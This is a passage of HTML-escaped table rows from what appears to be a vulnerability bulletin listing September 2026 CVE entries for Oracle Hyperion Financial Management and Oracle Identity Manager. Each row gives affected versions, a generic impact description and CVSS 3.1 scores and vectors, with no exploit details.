&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87216&quot; target=&quot;_blank&quot;&gt;CVE-2026-87216&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle Hyperion Financial Management executes to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Hyperion Financial Management as well as unauthorized update, insert or delete access to some of Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 7.1 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87220&quot; target=&quot;_blank&quot;&gt;CVE-2026-87220&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87221&quot; target=&quot;_blank&quot;&gt;CVE-2026-87221&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87222&quot; target=&quot;_blank&quot;&gt;CVE-2026-87222&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87225&quot; target=&quot;_blank&quot;&gt;CVE-2026-87225&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. While the vulnerability is in Oracle Hyperion Financial Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 7.6 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87233&quot; target=&quot;_blank&quot;&gt;CVE-2026-87233&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Difficult to exploit vulnerability allows unauthenticated attacker with network access via SSH to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Financial Management accessible data as well as unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87235&quot; target=&quot;_blank&quot;&gt;CVE-2026-87235&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87236&quot; target=&quot;_blank&quot;&gt;CVE-2026-87236&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87237&quot; target=&quot;_blank&quot;&gt;CVE-2026-87237&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87239&quot; target=&quot;_blank&quot;&gt;CVE-2026-87239&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Hyperion Financial Management executes to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87240&quot; target=&quot;_blank&quot;&gt;CVE-2026-87240&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TLS to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Financial Management accessible data as well as unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87242&quot; target=&quot;_blank&quot;&gt;CVE-2026-87242&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87244&quot; target=&quot;_blank&quot;&gt;CVE-2026-87244&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87246&quot; target=&quot;_blank&quot;&gt;CVE-2026-87246&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87247&quot; target=&quot;_blank&quot;&gt;CVE-2026-87247&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Financial Management accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 7.1 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87249&quot; target=&quot;_blank&quot;&gt;CVE-2026-87249&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Hyperion Financial Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data as well as unauthorized update, insert or delete access to some of Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87250&quot; target=&quot;_blank&quot;&gt;CVE-2026-87250&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Identity Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Identity Manager. Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70913&quot; target=&quot;_blank&quot;&gt;CVE-2026-70913&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Identity Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Identity Manager. Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83042&quot; target=&quot;_blank&quot;&gt;CVE-2026-83042&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Identity Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromise Oracle Identity Manager. Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70915&quot; target=&quot;_blank&quot;&gt;CVE-2026-70915&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Identity Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Identity Manager. Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71047&quot; target=&quot;_blank&quot;&gt;CVE-2026-71047&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Identity Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Identity Manager. Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73942&quot; target=&quot;_blank&quot;&gt;CVE-2026-73942&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Identity Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: Security). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Identity Manager. Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83340&quot; target=&quot;_blank&quot;&gt;CVE-2026-83340&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Identity Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Identity Manager. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager accessible data as well as unauthorized access to critical data or complete access to all Oracle Identity Manager accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83422&quot; target=&quot;_blank&quot;&gt;CVE-2026-83422&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Identity Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: OIM Legacy UI). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Identity Manager. While the vulnerability is in Oracle Identity Manager, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Identity Manager accessible data as well as unauthorized update, insert or delete access to some of Oracle Identity Manager accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73943&quot; target=&quot;_blank&quot;&gt;CVE-2026-73943&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Identity Manager Connector&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle Identity Manager Connector executes to compromise Oracle Identity Manager Connector. While the vulnerability is in Oracle Identity Manager Connector, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager Connector accessible data as well as unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 9.3 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83027&quot; target=&quot;_blank&quot;&gt;CVE-2026-83027&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Identity Manager Connector&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Identity Manager Connector. While the vulnerability is in Oracle Identity Manager Connector, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83023&quot; target=&quot;_blank&quot;&gt;CVE-2026-83023&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Identity Manager Connector&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Identity Manager Connector. While the vulnerability is in Oracle Identity Manager Connector, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager Connector accessible data as well as unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83025&quot; target=&quot;_blank&quot;&gt;CVE-2026-83025&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Identity Manager Connector&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Difficult to exploit vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle Identity Manager Connector executes to compromise Oracle Identity Manager Connector. While the vulnerability is in Oracle Identity Manager Connector, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager Connector. CVSS 3.1 Base Score 8.3 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83026&quot; target=&quot;_blank&quot;&gt;CVE-2026-83026&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Identity Manager Connector&lt;/td&gt;
